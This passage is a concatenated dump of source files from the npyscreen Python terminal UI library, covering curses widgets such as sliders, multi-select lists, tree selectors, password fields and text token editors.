19 | def _print(self):
20 | if self.value == None:
21 | printme = '- Unset -'
22 | else:
23 | try:
24 | printme = self.display_value(self.value)
25 | except IndexError:
26 | printme = '-error-'
27 | if self.do_colors():
28 | self.parent.curses_pad.addnstr(self.rely, self.relx, printme, self.width, self.parent.theme_manager.findPair(self))
29 | else:
30 | self.parent.curses_pad.addnstr(self.rely, self.relx, printme, self.width)
31 |
32 |
33 |
34 | def h_change_value(self, *args, **keywords):
35 | self.value = fmFileSelector.selectFile(
36 | starting_value = self.value,
37 | select_dir = self.select_dir,
38 | must_exist = self.must_exist,
39 | confirm_if_exists = self.confirm_if_exists,
40 | sort_by_extension = self.sort_by_extension
41 | )
42 | if self.value == '':
43 | self.value = None
44 | self.display()
45 |
46 |
47 | class TitleFilenameCombo(wgcombobox.TitleCombo):
48 | _entry_type = FilenameCombo
--------------------------------------------------------------------------------
/npyscreen/wggridcoltitles.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # encoding: utf-8
3 | import curses
4 | from . import wggrid as grid
5 | from . import wgtextbox as textbox
6 |
7 | class GridColTitles(grid.SimpleGrid):
8 | additional_y_offset = 2
9 | _col_widgets = textbox.Textfield
10 | def __init__(self, screen, col_titles = None, *args, **keywords):
11 | if col_titles:
12 | self.col_titles = col_titles
13 | else:
14 | self.col_titles = []
15 | super(GridColTitles, self).__init__(screen, *args, **keywords)
16 |
17 | def make_contained_widgets(self):
18 | super(GridColTitles, self).make_contained_widgets()
19 | self._my_col_titles = []
20 | for title_cell in range(self.columns):
21 | x_offset = title_cell * (self._column_width+self.col_margin)
22 | self._my_col_titles.append(self._col_widgets(self.parent, rely=self.rely, relx = self.relx + x_offset, width=self._column_width, height=1))
23 |
24 |
25 | def update(self, clear=True):
26 | super(GridColTitles, self).update(clear = True)
27 |
28 | _title_counter = 0
29 | for title_cell in self._my_col_titles:
30 | try:
31 | title_text = self.col_titles[self.begin_col_display_at+_title_counter]
32 | except IndexError:
33 | title_text = None
34 | self.update_title_cell(title_cell, title_text)
35 | _title_counter += 1
36 |
37 | self.parent.curses_pad.hline(self.rely+1, self.relx, curses.ACS_HLINE, self.width)
38 |
39 | def update_title_cell(self, cell, cell_title):
40 | cell.value = cell_title
41 | cell.update()
42 |
43 |
--------------------------------------------------------------------------------
/npyscreen/wgmultilineeditable.py:
--------------------------------------------------------------------------------
1 | import curses
2 | from . import wgwidget
3 | from . import wgmultiline
4 | from . import wgtextbox as textbox
5 | from . import wgboxwidget
6 |
7 |
8 | class MultiLineEditable(wgmultiline.MultiLine):
9 | _contained_widgets = textbox.Textfield
10 | CHECK_VALUE = True
11 | ALLOW_CONTINUE_EDITING = True
12 | CONTINUE_EDITING_AFTER_EDITING_ONE_LINE = True
13 |
14 | def get_new_value(self):
15 | return ''
16 |
17 | def check_line_value(self, vl):
18 | if not vl:
19 | return False
20 | else:
21 | return True
22 |
23 | def edit_cursor_line_value(self):
24 | if len(self.values) == 0:
25 | self.insert_line_value()
26 | return False
27 | try:
28 | active_line = self._my_widgets[(self.cursor_line-self.start_display_at)]
29 | except IndexError:
30 | self._my_widgets[0]
31 | self.cursor_line = 0
32 | self.insert_line_value()
33 | return True
34 | active_line.highlight = False
35 | active_line.edit()
36 | try:
37 | self.values[self.cursor_line] = active_line.value
38 | except IndexError:
39 | self.values.append(active_line.value)
40 | if not self.cursor_line:
41 | self.cursor_line = 0
42 | self.cursor_line = len(self.values) - 1
43 | self.reset_display_cache()
44 |
45 | if self.CHECK_VALUE:
46 | if not self.check_line_value(self.values[self.cursor_line]):
47 | self.delete_line_value()
48 | return False
49 |
50 | self.display()
51 | return True
52 |
53 | def insert_line_value(self):
54 | if self.cursor_line is None:
55 | self.cursor_line = 0
56 | self.values.insert(self.cursor_line, self.get_new_value())
57 | self.display()
58 | cont = self.edit_cursor_line_value()
59 | if cont and self.ALLOW_CONTINUE_EDITING:
60 | self._continue_editing()
61 |
62 | def delete_line_value(self):
63 | if len(self.values) > 0:
64 | del self.values[self.cursor_line]
65 | self.display()
66 |
67 | def _continue_editing(self):
68 | active_line = self._my_widgets[(self.cursor_line-self.start_display_at)]
69 | continue_editing = self.ALLOW_CONTINUE_EDITING
70 | if hasattr(active_line, 'how_exited'):
71 | while active_line.how_exited == wgwidget.EXITED_DOWN and continue_editing:
72 | self.values.insert(self.cursor_line+1, self.get_new_value())
73 | self.cursor_line += 1
74 | self.display()
75 | continue_editing = self.edit_cursor_line_value()
76 | active_line = self._my_widgets[(self.cursor_line-self.start_display_at)]
77 |
78 |
79 |
80 |
81 | def h_insert_next_line(self, ch):
82 | if len(self.values) == self.cursor_line - 1 or len(self.values) == 0:
83 | self.values.append(self.get_new_value())
84 | self.cursor_line += 1
85 | self.display()
86 | cont = self.edit_cursor_line_value()
87 | if cont and self.ALLOW_CONTINUE_EDITING:
88 | self._continue_editing()
89 |
90 | else:
91 | self.cursor_line += 1
92 | self.insert_line_value()
93 |
94 | def h_edit_cursor_line_value(self, ch):
95 | continue_line = self.edit_cursor_line_value()
96 | if continue_line and self.CONTINUE_EDITING_AFTER_EDITING_ONE_LINE:
97 | self._continue_editing()
98 |
99 | def h_insert_value(self, ch):
100 | return self.insert_line_value()
101 |
102 | def h_delete_line_value(self, ch):
103 | self.delete_line_value()
104 |
105 | def set_up_handlers(self):
106 | super(MultiLineEditable, self).set_up_handlers()
107 | self.handlers.update ( {
108 | ord('i'): self.h_insert_value,
109 | ord('o'): self.h_insert_next_line,
110 | curses.ascii.CR: self.h_edit_cursor_line_value,
111 | curses.ascii.NL: self.h_edit_cursor_line_value,
112 | curses.ascii.SP: self.h_edit_cursor_line_value,
113 |
114 | curses.ascii.DEL: self.h_delete_line_value,
115 | curses.ascii.BS: self.h_delete_line_value,
116 | curses.KEY_BACKSPACE: self.h_delete_line_value,
117 | } )
118 |
119 | class MultiLineEditableTitle(wgmultiline.TitleMultiLine):
120 | _entry_type = MultiLineEditable
121 |
122 | class MultiLineEditableBoxed(wgboxwidget.BoxTitle):
123 | _contained_widget = MultiLineEditable
124 |
--------------------------------------------------------------------------------
/npyscreen/wgmultilinetreeselectable.py:
--------------------------------------------------------------------------------
1 | import curses
2 | from . import wgmultilinetree
3 |
4 | class TreeLineSelectable(wgmultilinetree.TreeLine):
5 | # NB - as print is currently defined, it is assumed that these will
6 | # NOT contain multi-width characters, and that len() will correctly
7 | # give an indication of the correct offset
8 | CAN_SELECT = '[ ]'
9 | CAN_SELECT_SELECTED = '[*]'
10 | CANNOT_SELECT = ' '
11 | CANNOT_SELECT_SELECTED = ' * '
12 |
13 | def _print_select_controls(self):
14 | SELECT_DISPLAY = None
15 |
16 | if self._tree_real_value.selectable:
17 | if self.value.selected:
18 | SELECT_DISPLAY = self.CAN_SELECT_SELECTED
19 | else:
20 | SELECT_DISPLAY = self.CAN_SELECT
21 | else:
22 | if self.value.selected:
23 | SELECT_DISPLAY = self.CANNOT_SELECT_SELECTED
24 | else:
25 | SELECT_DISPLAY = self.CANNOT_SELECT
26 |
27 |
28 | if self.do_colors():
29 | attribute_list = self.parent.theme_manager.findPair(self, 'CONTROL')
30 | else:
31 | attribute_list = curses.A_NORMAL
32 |
33 |
34 | #python2 compatibility
35 | if isinstance(SELECT_DISPLAY, bytes):
36 | SELECT_DISPLAY = SELECT_DISPLAY.decode()
37 |
38 |
39 |
40 | self.add_line(self.rely,
41 | self.left_margin+self.relx,
42 | SELECT_DISPLAY,
43 | self.make_attributes_list(SELECT_DISPLAY, attribute_list),
44 | self.width-self.left_margin,
45 | )
46 |
47 | return len(SELECT_DISPLAY)
48 |
49 |
50 | def _print(self, left_margin=0):
51 | if not hasattr(self._tree_real_value, 'selected'):
52 | return None
53 | self.left_margin = left_margin
54 | self.parent.curses_pad.bkgdset(' ',curses.A_NORMAL)
55 | self.left_margin += self._print_tree(self.relx)
56 |
57 | self.left_margin += self._print_select_controls() + 1
58 |
59 |
60 | if self.highlight:
61 | self.parent.curses_pad.bkgdset(' ',curses.A_STANDOUT)
62 | super(wgmultilinetree.TreeLine, self)._print()
63 |
64 |
65 | class TreeLineSelectableAnnotated(TreeLineSelectable, wgmultilinetree.TreeLineAnnotated):
66 | def _print(self, left_margin=0):
67 | if not hasattr(self._tree_real_value, 'selected'):
68 | return None
69 | self.left_margin = left_margin
70 | self.parent.curses_pad.bkgdset(' ',curses.A_NORMAL)
71 | self.left_margin += self._print_tree(self.relx)
72 | self.left_margin += self._print_select_controls() + 1
73 | if self.do_colors():
74 | self.left_margin += self.annotationColor(self.left_margin+self.relx)
75 | else:
76 | self.left_margin += self.annotationNoColor(self.left_margin+self.relx)
77 | if self.highlight:
78 | self.parent.curses_pad.bkgdset(' ',curses.A_STANDOUT)
79 | super(wgmultilinetree.TreeLine, self)._print()
80 |
81 |
82 |
83 | class MLTreeMultiSelect(wgmultilinetree.MLTree):
84 | _contained_widgets = TreeLineSelectable
85 | def __init__(self, screen, select_cascades=True, *args, **keywords):
86 | super(MLTreeMultiSelect, self).__init__(screen, *args, **keywords)
87 | self.select_cascades = select_cascades
88 |
89 | def h_select(self, ch):
90 | vl = self.values[self.cursor_line]
91 | vl_to_set = not vl.selected
92 | if self.select_cascades:
93 | for v in self._walk_tree(vl, only_expanded=False, ignore_root=False):
94 | if v.selectable:
95 | v.selected = vl_to_set
96 | else:
97 | vl.selected = vl_to_set
98 | if self.select_exit:
99 | self.editing = False
100 | self.how_exited = True
101 | self.display()
102 |
103 | def get_selected_objects(self, return_node=True):
104 | for v in self._walk_tree(self._myFullValues, only_expanded=False, ignore_root=False):
105 | if v.selected:
106 | if return_node:
107 | yield v
108 | else:
109 | yield self._get_content(v)
110 |
111 | class MLTreeMultiSelectAnnotated(MLTreeMultiSelect):
112 | _contained_widgets = TreeLineSelectableAnnotated
113 |
--------------------------------------------------------------------------------
/npyscreen/wgmultiselect.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 | from . import wgmultiline as multiline
3 | from . import wgselectone as selectone
4 | from . import wgcheckbox as checkbox
5 | import curses
6 |
7 | class MultiSelect(selectone.SelectOne):
8 | _contained_widgets = checkbox.Checkbox
9 |
10 | def set_up_handlers(self):
11 | super(MultiSelect, self).set_up_handlers()
12 | self.handlers.update({
13 | ord("x"): self.h_select_toggle,
14 | curses.ascii.SP: self.h_select_toggle,
15 | ord("X"): self.h_select,
16 | "^U": self.h_select_none,
17 | })
18 |
19 | def h_select_none(self, input):
20 | self.value = []
21 |
22 | def h_select_toggle(self, input):
23 | if self.cursor_line in self.value:
24 | self.value.remove(self.cursor_line)
25 | else:
26 | self.value.append(self.cursor_line)
27 |
28 | def h_set_filtered_to_selected(self, ch):
29 | self.value = self._filtered_values_cache
30 |
31 | def h_select_exit(self, ch):
32 | if not self.cursor_line in self.value:
33 | self.value.append(self.cursor_line)
34 | if self.return_exit:
35 | self.editing = False
36 | self.how_exited=True
37 |
38 | def get_selected_objects(self):
39 | if self.value == [] or self.value == None:
40 | return None
41 | else:
42 | return [self.values[x] for x in self.value]
43 |
44 | class MultiSelectAction(MultiSelect):
45 | always_act_on_many = False
46 | def actionHighlighted(self, act_on_this, key_press):
47 | "Override this Method"
48 | pass
49 |
50 | def actionSelected(self, act_on_these, keypress):
51 | "Override this Method"
52 | pass
53 |
54 | def set_up_handlers(self):
55 | super(MultiSelectAction, self).set_up_handlers()
56 | self.handlers.update ( {
57 | curses.ascii.NL: self.h_act_on_highlighted,
58 | curses.ascii.CR: self.h_act_on_highlighted,
59 | ord(';'): self.h_act_on_selected,
60 | # "^L": self.h_set_filtered_to_selected,
61 | curses.ascii.SP: self.h_act_on_highlighted,
62 | } )
63 |
64 | def h_act_on_highlighted(self, ch):
65 | if self.always_act_on_many:
66 | return self.h_act_on_selected(ch)
67 | else:
68 | return self.actionHighlighted(self.values[self.cursor_line], ch)
69 |
70 | def h_act_on_selected(self, ch):
71 | if self.vale:
72 | return self.actionSelected(self.get_selected_objects(), ch)
73 |
74 |
75 | class MultiSelectFixed(MultiSelect):
76 | # This does not allow the user to change Values, but does allow the user to move around.
77 | # Useful for displaying Data.
78 | def user_set_value(self, input):
79 | pass
80 |
81 | def set_up_handlers(self):
82 | super(MultiSelectFixed, self).set_up_handlers()
83 | self.handlers.update({
84 | ord("x"): self.user_set_value,
85 | ord("X"): self.user_set_value,
86 | curses.ascii.SP: self.user_set_value,
87 | "^U": self.user_set_value,
88 | curses.ascii.NL: self.h_exit_down,
89 | curses.ascii.CR: self.h_exit_down,
90 |
91 | })
92 |
93 | class TitleMultiSelect(multiline.TitleMultiLine):
94 | _entry_type = MultiSelect
95 |
96 |
97 |
98 | class TitleMultiSelectFixed(multiline.TitleMultiLine):
99 | _entry_type = MultiSelectFixed
100 |
101 |
102 |
--------------------------------------------------------------------------------
/npyscreen/wgmultiselecttree.py:
--------------------------------------------------------------------------------
1 | from . import wgmultilinetree as multilinetree
2 | from . import wgcheckbox as checkbox
3 | import weakref
4 | import curses
5 |
6 | class MultiSelectTree(multilinetree.SelectOneTree):
7 | _contained_widgets = checkbox.Checkbox
8 |
9 | def set_up_handlers(self):
10 | super(MultiSelectTree, self).set_up_handlers()
11 | self.handlers.update({
12 | ord("x"): self.h_select_toggle,
13 | curses.ascii.SP: self.h_select_toggle,
14 | ord("X"): self.h_select,
15 | "^U": self.h_select_none,
16 | })
17 |
18 | def h_select_none(self, input):
19 | self.value = []
20 |
21 | def h_select_toggle(self, input):
22 | try:
23 | working_with = weakref.proxy(self.values[self.cursor_line])
24 | except TypeError:
25 | working_with = self.values[self.cursor_line]
26 | if working_with in self.value:
27 | self.value.remove(working_with)
28 | else:
29 | self.value.append(working_with)
30 |
31 | def h_set_filtered_to_selected(self, ch):
32 | self.value = self.get_filtered_values()
33 |
34 | def h_select_exit(self, ch):
35 | try:
36 | working_with = weakref.proxy(self.values[self.cursor_line])
37 | except TypeError:
38 | working_with = self.values[self.cursor_line]
39 |
40 | if not working_with in self.value:
41 | self.value.append(working_with)
42 | if self.return_exit:
43 | self.editing = False
44 | self.how_exited=True
45 |
--------------------------------------------------------------------------------
/npyscreen/wgpassword.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 | import curses
3 | from .wgtextbox import Textfield
4 | from . import wgtitlefield as titlefield
5 |
6 |
7 | class PasswordEntry(Textfield):
8 | def _print(self):
9 | strlen = len(self.value)
10 | if self.maximum_string_length < strlen:
11 | tmp_x = self.relx
12 | for i in range(self.maximum_string_length):
13 | self.parent.curses_pad.addch(self.rely, tmp_x, '-')
14 | tmp_x += 1
15 |
16 | else:
17 | tmp_x = self.relx
18 | for i in range(strlen):
19 | self.parent.curses_pad.addstr(self.rely, tmp_x, '-')
20 | tmp_x += 1
21 |
22 | class TitlePassword(titlefield.TitleText):
23 | _entry_type = PasswordEntry
24 |
25 |
--------------------------------------------------------------------------------
/npyscreen/wgselectone.py:
--------------------------------------------------------------------------------
1 | from . import wgmultiline as multiline
2 | from . import wgcheckbox as checkbox
3 |
4 | class SelectOne(multiline.MultiLine):
5 | _contained_widgets = checkbox.RoundCheckBox
6 |
7 | def update(self, clear=True):
8 | if self.hidden:
9 | self.clear()
10 | return False
11 | # Make sure that self.value is a list
12 | if not hasattr(self.value, "append"):
13 | if self.value is not None:
14 | self.value = [self.value, ]
15 | else:
16 | self.value = []
17 |
18 | super(SelectOne, self).update(clear=clear)
19 |
20 | def h_select(self, ch):
21 | self.value = [self.cursor_line,]
22 |
23 | def _print_line(self, line, value_indexer):
24 | try:
25 | display_this = self.display_value(self.values[value_indexer])
26 | line.value = display_this
27 | line.hide = False
28 | if hasattr(line, 'selected'):
29 | if (value_indexer in self.value and (self.value is not None)):
30 | line.selected = True
31 | else:
32 | line.selected = False
33 | # Most classes in the standard library use this
34 | else:
35 | if (value_indexer in self.value and (self.value is not None)):
36 | line.show_bold = True
37 | line.name = display_this
38 | line.value = True
39 | else:
40 | line.show_bold = False
41 | line.name = display_this
42 | line.value = False
43 |
44 | if value_indexer in self._filtered_values_cache:
45 | line.important = True
46 | else:
47 | line.important = False
48 |
49 |
50 | except IndexError:
51 | line.name = None
52 | line.hide = True
53 |
54 | line.highlight= False
55 |
56 | class TitleSelectOne(multiline.TitleMultiLine):
57 | _entry_type = SelectOne
58 |
--------------------------------------------------------------------------------
/npyscreen/wgslider.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 | import curses
3 | from . import wgwidget as widget
4 | from . import wgtitlefield as titlefield
5 |
6 | class Slider(widget.Widget):
7 | DEFAULT_BLOCK_COLOR = None
8 | def __init__(self, screen, value=0,
9 | out_of=100, step=1, lowest=0,
10 | label=True,
11 | block_color = None,
12 | **keywords):
13 | self.out_of = out_of
14 | self.value = value
15 | self.step = step
16 | self.lowest = lowest
17 | self.block_color = block_color or self.__class__.DEFAULT_BLOCK_COLOR
18 | super(Slider, self).__init__(screen, **keywords)
19 | if self.parent.curses_pad.getmaxyx()[0]-1 == self.rely: self.on_last_line = True
20 | else: self.on_last_line = False
21 | if self.on_last_line:
22 | self.maximum_string_length = self.width - 1
23 | else:
24 | self.maximum_string_length = self.width
25 | self.label = label
26 |
27 | def calculate_area_needed(self):
28 | return 1,0
29 |
30 | def translate_value(self):
31 | """What do different values mean? If you subclass this object, and override this
32 | method, you can change how the labels are displayed. This method should return a
33 | unicode string, to be displayed to the user. You probably want to ensure this is a fixed width."""
34 |
35 | stri = "%s / %s" %(self.value, self.out_of)
36 | if isinstance(stri, bytes):
37 | stri = stri.decode(self.encoding, 'replace')
38 | l = (len(str(self.out_of)))*2+4
39 | stri = stri.rjust(l)
40 | return stri
41 |
42 | def update(self, clear=True):
43 | if clear: self.clear()
44 | if self.hidden:
45 | self.clear()
46 | return False
47 | length_of_display = self.width + 1
48 | blocks_on_screen = length_of_display
49 |
50 | if self.label:
51 | label_str = self.translate_value()
52 | if isinstance(label_str, bytes):
53 | label_str = label_str.decode(self.encoding, 'replace')
54 | blocks_on_screen -= len(label_str)+3
55 | if self.do_colors():
56 | label_attributes = self.parent.theme_manager.findPair(self)
57 | else:
58 | label_attributes = curses.A_NORMAL
59 | self.add_line(
60 | self.rely, self.relx+blocks_on_screen+2,
61 | label_str,
62 | self.make_attributes_list(label_str, label_attributes),
63 | len(label_str)
64 | )
65 |
66 | # If want to handle neg. numbers, this line would need changing.
67 | blocks_to_fill = (float(self.value) / float(self.out_of)) * int(blocks_on_screen)
68 |
69 | if self.editing:
70 | self.parent.curses_pad.attron(curses.A_BOLD)
71 | #self.parent.curses_pad.bkgdset(curses.ACS_HLINE)
72 | #self.parent.curses_pad.bkgdset(">")
73 | #self.parent.curses_pad.bkgdset(curses.A_NORMAL)
74 | BACKGROUND_CHAR = ">"
75 | BARCHAR = curses.ACS_HLINE
76 | else:
77 | self.parent.curses_pad.attroff(curses.A_BOLD)
78 | self.parent.curses_pad.bkgdset(curses.A_NORMAL)
79 | #self.parent.curses_pad.bkgdset(curses.ACS_HLINE)
80 | BACKGROUND_CHAR = curses.ACS_HLINE
81 | BARCHAR = " "
82 |
83 |
84 | for n in range(blocks_on_screen):
85 | xoffset = self.relx
86 | if self.do_colors():
87 | self.parent.curses_pad.addch(self.rely,n+xoffset, BACKGROUND_CHAR, curses.A_NORMAL | self.parent.theme_manager.findPair(self))
88 | else:
89 | self.parent.curses_pad.addch(self.rely,n+xoffset, BACKGROUND_CHAR, curses.A_NORMAL)
90 |
91 | for n in range(int(blocks_to_fill)):
92 | if self.do_colors():
93 | if self.block_color:
94 | self.parent.curses_pad.addch(self.rely,n+xoffset, BARCHAR, self.parent.theme_manager.findPair(self, self.block_color))
95 | else:
96 | self.parent.curses_pad.addch(self.rely,n+xoffset, BARCHAR, curses.A_STANDOUT | self.parent.theme_manager.findPair(self))
97 | else:
98 | self.parent.curses_pad.addch(self.rely,n+xoffset, BARCHAR, curses.A_STANDOUT) #curses.ACS_BLOCK)
99 |
100 | self.parent.curses_pad.attroff(curses.A_BOLD)
101 | self.parent.curses_pad.bkgdset(curses.A_NORMAL)
102 |
103 | def set_value(self, val):
104 | #"We can only represent ints or floats, and must be less than what we are out of..."
105 | if val is None: val = 0
106 | if not isinstance(val, int) and not isinstance(val, float):
107 | raise ValueError
108 |
109 | else:
110 | self.__value = val
111 |
112 | if self.__value > self.out_of: raise ValueError
113 |
114 | def get_value(self):
115 | return float(self.__value)
116 | value = property(get_value, set_value)
117 |
118 | def set_up_handlers(self):
119 | super(widget.Widget, self).set_up_handlers()
120 |
121 | self.handlers.update({
122 | curses.KEY_LEFT: self.h_decrease,
123 | curses.KEY_RIGHT: self.h_increase,
124 | ord('+'): self.h_increase,
125 | ord('-'): self.h_decrease,
126 | ord('h'): self.h_decrease,
127 | ord('l'): self.h_increase,
128 | ord('j'): self.h_exit_down,
129 | ord('k'): self.h_exit_up,
130 | })
131 |
132 | def h_increase(self, ch):
133 | if (self.value + self.step <= self.out_of): self.value += self.step
134 |
135 | def h_decrease(self, ch):
136 | if (self.value - self.step >= self.lowest): self.value -= self.step
137 |
138 |
139 | class TitleSlider(titlefield.TitleText):
140 | _entry_type = Slider
141 |
142 | class SliderNoLabel(Slider):
143 | def __init__(self, screen, label=False, *args, **kwargs):
144 | super(SliderNoLabel, self).__init__(screen, label=label, *args, **kwargs)
145 |
146 | def translate_value(self):
147 | return ''
148 |
149 | class TitleSliderNoLabel(TitleSlider):
150 | _entry_type = SliderNoLabel
151 |
152 | class SliderPercent(Slider):
153 | def __init__(self, screen, accuracy=2, *args, **kwargs):
154 | super(SliderPercent, self).__init__(screen, *args, **kwargs)
155 | self.accuracy = accuracy
156 |
157 | def translate_value(self):
158 | pc = float(self.value) / float(self.out_of) * 100
159 | return '%.*f%%' % (int(self.accuracy), pc)
160 |
161 | class TitleSliderPercent(TitleSlider):
162 | _entry_type = SliderPercent
--------------------------------------------------------------------------------
/npyscreen/wgtextbox_controlchrs.py:
--------------------------------------------------------------------------------
1 | import curses
2 | from . import wgtextbox as textbox
3 |
4 | class TextfieldCtrlChars(textbox.Textfield):
5 | "Implements a textfield, but which can be prefixed with special curses graphics. Currently unfinished. Not for use."
6 | def __init__(self, *args, **keywords):
7 | self.ctr_chars = []
8 | super(TextfieldCtrlChars, self).__init__(*args, **keywords)
9 |
10 | def _get_maximum_string_length(self):
11 | if self.on_last_line:
12 | _maximum_string_length = self.width - 1
13 | else:
14 | _maximum_string_length = self.width
15 |
16 | _maximum_string_length -= (len(self.ctr_chars) + 1)
17 |
18 | return _maximum_string_length
19 |
20 | def _set_maxiumum_string_length(self, *args):
21 | pass
22 |
23 | def _del_maxiumum_string_length(self):
24 | pass
25 |
26 | maximum_string_length = property(_get_maximum_string_length, _set_maxiumum_string_length, _del_maxiumum_string_length)
27 |
28 |
29 |
--------------------------------------------------------------------------------
/npyscreen/wgtextboxunicode.py:
--------------------------------------------------------------------------------
1 | from . import wgtextbox
2 |
3 | import unicodedata
4 | import curses
5 |
6 |
7 |
8 | class TextfieldUnicode(wgtextbox.Textfield):
9 | width_mapping = {'F':2, 'H': 1, 'W': 2, 'Na': 1, 'N': 1}
10 | def find_apparent_cursor_position(self, ):
11 | string_to_print = self.display_value(self.value)[self.begin_at:self.maximum_string_length+self.begin_at-self.left_margin]
12 | cursor_place_in_visible_string = self.cursor_position - self.begin_at
13 | counter = 0
14 | columns = 0
15 | while counter < cursor_place_in_visible_string:
16 | columns += self.find_width_of_char(string_to_print[counter])
17 | counter += 1
18 | return columns
19 |
20 | def find_width_of_char(self, char):
21 | return 1
22 | w = unicodedata.east_asian_width(char)
23 | if w == 'A':
24 | # Abiguous - allow 1, but be aware that this could well be wrong
25 | return 1
26 | else:
27 | return self.__class__.width_mapping[w]
28 |
29 |
30 |
31 |
32 |
33 |
--------------------------------------------------------------------------------
/npyscreen/wgtexttokens.py:
--------------------------------------------------------------------------------
1 | import curses
2 | import sys
3 | from . import wgwidget
4 | from . import wgtextbox
5 | from . import wgtitlefield
6 |
7 | class TextTokens(wgtextbox.Textfield,wgwidget.Widget):
8 | """This is an experiemental widget"""
9 |
10 | # NB IT DOES NOT CURRENTLY SUPPORT THE HIGHLIGHTING COLORS
11 | # OF THE TEXTFIELD CLASS.
12 |
13 |
14 | def __init__(self, *args, **keywords):
15 | super(TextTokens, self).__init__(*args, **keywords)
16 | self.begin_at = 0 # which token to begin display with
17 | self.maximum_string_length = self.width - 2
18 | self.left_margin = 0
19 | self.cursor_position = 0
20 |
21 | self.important = False
22 | self.highlight = False
23 | self.show_bold = False
24 |
25 | def find_cursor_offset_on_screen(self, position):
26 | index = self.begin_at
27 | offset = 0
28 | while index < position:
29 | offset += len(self.decode_token(self.value[index]))
30 | index += 1
31 | return offset - self.begin_at # I don't quite understand
32 | # why the - self.begin_at is needed
33 | # but without it the cursor and screen
34 | # get out of sync
35 |
36 | def decode_token(self, tk):
37 | r = ''.join(tk)
38 | if len(r) > 1:
39 | r = ' [' + r + '] '
40 | if isinstance(r, bytes):
41 | r = r.decode(self.encoding, 'replace')
42 | return r
43 |
44 | # text and highlighting generator.
45 | def get_literal_text_and_highlighting_generator(self, start_at=0,):
46 | # could perform initialization here.
47 | index = start_at
48 | string_length = 0
49 | output = ''
50 | while string_length <= self.maximum_string_length and len(self.value) > index:
51 | token_output = self.decode_token(self.value[index])
52 | if isinstance(token_output, bytes):
53 | token_output = token_output.decode(self.encoding, 'replace')
54 | highlighting = [curses.A_NORMAL for c in token_output]
55 | yield(token_output, highlighting)
56 | index += 1
57 |
58 | def get_literal_text_to_display(self, start_at=0,):
59 | g = self.get_literal_text_and_highlighting_generator(start_at=start_at)
60 | txt = []
61 | highlighting = []
62 | for i in g:
63 | txt += i[0]
64 | highlighting += i[1]
65 | return txt, highlighting
66 |
67 |
68 | def update(self, clear=True, cursor=True):
69 | if clear: self.clear()
70 | if self.begin_at < 0: self.begin_at = 0
71 | if self.left_margin >= self.maximum_string_length:
72 | raise ValueError
73 |
74 | if self.cursor_position < 0:
75 | self.cursor_position = 0
76 | if self.cursor_position > len(self.value):
77 | self.cursor_position = len(self.value)
78 |
79 | if self.cursor_position < self.begin_at:
80 | self.begin_at = self.cursor_position
81 |
82 | while self.find_cursor_offset_on_screen(self.cursor_position) > \
83 | self.find_cursor_offset_on_screen(self.begin_at) + \
84 | self.maximum_string_length - self.left_margin -1: # -1:
85 | self.begin_at += 1
86 |
87 |
88 | text, highlighting = self.get_literal_text_to_display(start_at=self.begin_at)
89 | if self.do_colors():
90 | if self.important:
91 | color = self.parent.theme_manager.findPair(self, 'IMPORTANT') | curses.A_BOLD
92 | else:
93 | color = self.parent.theme_manager.findPair(self, self.color)
94 | if self.show_bold:
95 | color = color | curses.A_BOLD
96 | if self.highlight:
97 | if not self.editing:
98 | color = color | curses.A_STANDOUT
99 | else:
100 | color = color | curses.A_UNDERLINE
101 | highlighting = [color for c in highlighting if c == curses.A_NORMAL]
102 | else:
103 | color = curses.A_NORMAL
104 | if self.important or self.show_bold:
105 | color = color | curses.A_BOLD
106 | if self.important:
107 | color = color | curses.A_UNDERLINE
108 | if self.highlight:
109 | if not self.editing:
110 | color = color | curses.A_STANDOUT
111 | else:
112 | color = color | curses.A_UNDERLINE
113 | highlighting = [color for c in highlighting if c == curses.A_NORMAL]
114 |
115 | self._print(text, highlighting)
116 |
117 | if self.editing and cursor:
118 | self.print_cursor()
119 |
120 |
121 | def _print(self, text, highlighting):
122 | self.add_line(self.rely,
123 | self.relx + self.left_margin,
124 | text,
125 | highlighting,
126 | self.maximum_string_length - self.left_margin
127 | )
128 | def print_cursor(self):
129 | _cur_loc_x = self.cursor_position - self.begin_at + self.relx + self.left_margin
130 | try:
131 | char_under_cur = self.decode_token(self.value[self.cursor_position]) #use the real value
132 | char_under_cur = self.safe_string(char_under_cur)
133 | except IndexError:
134 | char_under_cur = ' '
135 |
136 | if isinstance(char_under_cur, bytes):
137 | char_under_cur = char_under_cur.decode(self.encoding, 'replace')
138 |
139 | offset = self.find_cursor_offset_on_screen(self.cursor_position)
140 | if self.do_colors():
141 | ATTR_LIST = self.parent.theme_manager.findPair(self) | curses.A_STANDOUT
142 | else:
143 | ATTR_LIST = curses.A_STANDOUT
144 |
145 | self.add_line(self.rely,
146 | self.begin_at + self.relx + self.left_margin + offset,
147 | char_under_cur,
148 | self.make_attributes_list(char_under_cur, ATTR_LIST),
149 | # I don't understand why the "- self.begin_at" is needed in the following line
150 | # but it is or the cursor can end up overrunning the end of the widget.
151 | self.maximum_string_length+1 - self.left_margin - offset - self.begin_at,
152 | )
153 |
154 | def h_addch(self, inp):
155 | if self.editable:
156 | #self.value = self.value[:self.cursor_position] + curses.keyname(input) \
157 | # + self.value[self.cursor_position:]
158 | #self.cursor_position += len(curses.keyname(input))
159 |
160 | # workaround for the metamode bug:
161 | if self._last_get_ch_was_unicode == True and isinstance(self.value, bytes):
162 | # probably dealing with python2.
163 | ch_adding = inp
164 | self.value = self.value.decode()
165 | elif self._last_get_ch_was_unicode == True:
166 | ch_adding = inp
167 | else:
168 | try:
169 | ch_adding = chr(inp)
170 | except TypeError:
171 | ch_adding = input
172 | self.value = self.value[:self.cursor_position] + [ch_adding,] \
173 | + self.value[self.cursor_position:]
174 | self.cursor_position += len(ch_adding)
175 |
176 | def display_value(self, vl):
177 | return vl
178 |
179 |
180 | def calculate_area_needed(self):
181 | "Need one line of screen, and any width going"
182 | return 1,0
183 |
184 |
185 |
186 | class TitleTextTokens(wgtitlefield.TitleText):
187 | _entry_type = TextTokens
188 |
189 |
--------------------------------------------------------------------------------
/npyscreen/wgtitlefield.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 | import curses
3 | import weakref
4 | from . import wgtextbox as textbox
5 | from . import wgwidget as widget
6 |
7 | class TitleText(widget.Widget):
